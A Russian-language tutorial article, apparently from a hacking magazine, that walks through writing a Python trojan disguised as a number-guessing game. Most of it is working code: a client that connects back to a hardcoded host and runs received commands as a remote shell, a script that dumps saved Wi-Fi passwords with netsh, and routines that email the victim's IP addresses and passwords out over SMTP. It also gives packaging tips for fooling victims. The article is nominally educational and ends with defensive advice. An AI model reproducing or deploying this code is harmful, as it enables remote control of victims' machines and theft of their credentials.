Зачем кому-то писать вредоносное ПО на Python? Мы собираемся сделать это, чтобы изучить общие принципы разработки вредоносных программ, а в то же время вы сможете попрактиковаться в использовании этого языка и применить полученные знания для других целей. Кроме того, вредоносное ПО Python встречается в естественных условиях, и не все программы защиты от вирусов обращают на него внимание.
Конечно, приведенные в статье скрипты никоим образом не подходят для использования в боевых условиях — в них нет обфускации, принципы работы просты, как дважды два, и нет никаких вредоносных функций. Однако проявив немного изобретательности, их можно использовать для простых грязных уловок — например, выключения чьего-либо компьютера в классе или в офисе.
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
Во-первых, нам (то есть нашему трояну) нужно определить, где он оказался. Важной частью вашей информации является IP-адрес, который вы можете использовать для подключения к зараженному компьютеру в будущем.
Начнем писать код. Сразу импортируем библиотеки:
import socketfrom requests import getОбе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip.
pip install socketpip install requestsКод получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сетиhostname = socket.gethostname()# Определяем локальный (внутри сети) IP-адресlocal_ip = socket.gethostbyname(hostname)# Определяем глобальный (публичный / в интернете) IP-адресpublic_ip = get('http://api.ipify.org').textЕсли с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api., так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print(f'Хост: {hostname}')print(f'Локальный IP: {local_ip}')print(f'Публичный IP: {public_ip}')Никогда не встречал конструкции типа print(? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в вашем коде, они также помогают избежать таких ошибок, как сложение строк и добавление чисел (Python это не JavaScript!).
Финальный код:
import socketfrom requests import gethostname = socket.gethostname()local_ip = socket.gethostbyname(hostname)public_ip = get('http://api.ipify.org').textprint(f'Хост: {hostname}')print(f'Локальный IP: {local_ip}')print(f'Публичный IP: {public_ip}')Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip ):
import smtplib as smtpfrom getpass import getpassПишем базовую информацию о себе:
# Почта, с которой будет отправлено письмоemail = 'xakepmail@yandex.ru'# Пароль от нее (вместо ***)password = '***'# Почта, на которую отправляем письмоdest_email = 'demo@xakep.ru'# Тема письмаsubject = 'IP'# Текст письмаemail_text = 'TEXT'Дальше сформируем письмо:
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндексаserver.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)server.ehlo(email) # Отправляем hello-пакет на серверserver.login(email, password) # Заходим на почту, с которой будем отправлять письмоserver.auth_plain() # Авторизуемсяserver.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)server.quit() # Отключаемся от сервераВ строке server. мы используем команду EHLO. Большинство серверов SMTP поддерживают ESMTP и EHLO. Если сервер, к которому ты пытаешься подключиться, не поддерживает EHLO, можно использовать HELO.
Полный код этой части трояна:
import smtplib as smtpimport socketfrom getpass import getpassfrom requests import gethostname = socket.gethostname()local_ip = socket.gethostbyname(hostname)public_ip = get('http://api.ipify.org').textemail = 'xakepmail@yandex.ru'password = '***'dest_email = 'demo@xakep.ru'subject = 'IP'email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)server = smtp.SMTP_SSL('smtp.yandex.com')server.set_debuglevel(1)server.ehlo(email)server.login(email, password)server.auth_plain()server.sendmail(email, dest_email, message)server.quit()Запустив этот скрипт, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
import randomimport socketimport threadingimport osДля начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
# Создаем функцию игрыdef game():# Берем случайное число от 0 до 1000number = random.randint(0, 1000)# Счетчик попытокtries = 1# Флаг завершения игрыdone = False# Пока игра не закончена, просим ввести новое числоwhile not done:guess = input('Введите число: ')# Если ввели числоif guess.isdigit():# Конвертируем его в целоеguess = int(guess)# Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победеif guess == number:done = Trueprint(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.')# Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньшеelse:tries += 1if guess > number:print('Загаданное число меньше!')else:print('Загаданное число больше!')# Если ввели не число — выводим сообщение об ошибке и просим ввести число зановоelse:print('Это не число от 0 до 1000!')Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
# Создаем функцию троянаdef trojan():# IP-адрес атакуемогоHOST = '192.168.2.112'# Порт, по которому мы работаемPORT = 9090# Создаем эхо-серверclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect((HOST, PORT))while True:# Вводим команду серверуserver_command = client.recv(1024).decode('cp866')# Если команда совпала с ключевым словом 'cmdon', запускаем режим работы с терминаломif server_command == 'cmdon':cmd_mode = True# Отправляем информацию на серверclient.send('Получен доступ к терминалу'.encode('cp866'))continue# Если команда совпала с ключевым словом 'cmdoff', выходим из режима работы с терминаломif server_command == 'cmdoff':cmd_mode = False# Если запущен режим работы с терминалом, вводим команду в терминал через серверif cmd_mode:os.popen(server_command)# Если же режим работы с терминалом выключен — можно вводить любые командыelse:if server_command == 'hello':print('Hello World!')# Если команда дошла до клиента — выслать ответclient.send(f'{server_command} успешно отправлена!'.encode('cp866'))client = socket.socket (socket.AF_INET, socket.SOCK_STREAM) создает эхо-сервер (отправил запрос — получил ответ). AF_INET означает работу с адресацией IPv4, а SOCK_STREAM означает, что мы используем TCP-соединение вместо UDP, когда пакет отправляется в сеть и больше не отслеживается.client.connect((HOST, PORT)) указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.client.recv (1024) принимает данные из сокета и является так называемым «блочным вызовом». Смысл такого вызова заключается в том, что до тех пор, пока команда не будет передана или отклонена другой стороной, вызов будет продолжать выполняться. 1024 — это количество байтов, задействованных для приемного буфера. Невозможно принять за один раз более 1024 байтов (1 КБ), но нам это не нужно — часто ли вы вручную вводите в консоль более 1000 символов? Нет необходимости многократно увеличивать размер буфера — это дорого и ненужно, так как вам нужен большой буфер примерно один раз никогда.decode ('cp866') декодирует полученный байтовый буфер в текстовую строку в соответствии с указанной кодировкой (у нас 866). Но почему именно cp866? Переходим в командную строку и вводим команду chcp.Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
import subprocessimport timeМодуль subprocess нужен для создания новых процессов и соединения c потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей Wi-Fi:
# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядреdata = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')# Создаем список всех названий всех профилей сети (имена сетей)Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]# Для каждого имени...for Wi-Fi in Wi-Fis:# ...вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clearresults = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')# Забираем ключresults = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]# Пытаемся его вывести в командной строке, отсекая все ошибкиtry:print(f'Имя сети: {Wi-Fi}, Пароль: {results[0]}')except IndexError:print(f'Имя сети: {Wi-Fi}, Пароль не найден!')Введя команду netsh в командной строке, мы получим следующее.
netsh wlan show profiles
Если вы проанализируете вывод выше и замените имя сети в команде netsh wlan show profile [имя сети] key = clear, результат будет таким, как на изображении. Вы можете проанализировать его и извлечь сетевой пароль.
netsh wlan show profile ASUS key=clear
Результат по VirusTotal
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
if server_command == 'Wi-Fi':
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]for Wi-Fi in Wi-Fis:results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]try:email = 'xakepmail@yandex.ru'password = '***'dest_email = 'demo@xakep.ru'subject = 'Wi-Fi'email_text = (f'Name: {Wi-Fi}, Password: {results[0]}')message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)server = smtp.SMTP_SSL('smtp.yandex.com')server.set_debuglevel(1)server.ehlo(email)server.login(email, password)server.auth_plain()server.sendmail(email, dest_email, message)server.quit()except IndexError:email = 'xakepmail@yandex.ru'password = '***'dest_email = 'demo@xakep.ru'subject = 'Wi-Fi'email_text = (f'Name: {Wi-Fi}, Password not found!')message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)server = smtp.SMTP_SSL('smtp.yandex.com')server.set_debuglevel(1)server.ehlo(email)server.login(email, password)server.auth_plain()server.sendmail(email, dest_email, message)server.quit()Этот сценарий очень прост и предполагает наличие русскоязычной системы. Это не будет работать на других языках, но вы можете исправить поведение сценария, просто выбрав разделитель из словаря, где ключ — это язык, найденный на компьютере, а значение — требуемая фраза на требуемом языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Результат
Конечно, здесь можно улучшить практически все — от защиты канала передачи до защиты самого кода нашего трояна. Способы связи с управляющими серверами злоумышленника также часто используются по-разному, и вредоносная программа не зависит от языка операционной системы.
И, конечно же, очень желательно упаковать сам вирус с помощью PyInstaller, чтобы не перетаскивать Python и все зависимости с собой на машину жертвы. Игра, требующая установки мода для работы с почтой на работе — что может внушить больше доверия?
Вышеупомянутые инструменты и подходы научат вас тому, как думают вирусописатели и насколько опасны подозрительные скрипты Python.
Будьте осторожны с зависимостями и малоизвестными пакетами, которые вы вставляете в свои проекты. Не доверяйте запутанному коду и всегда проверяйте код неизвестных библиотек перед запуском.
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…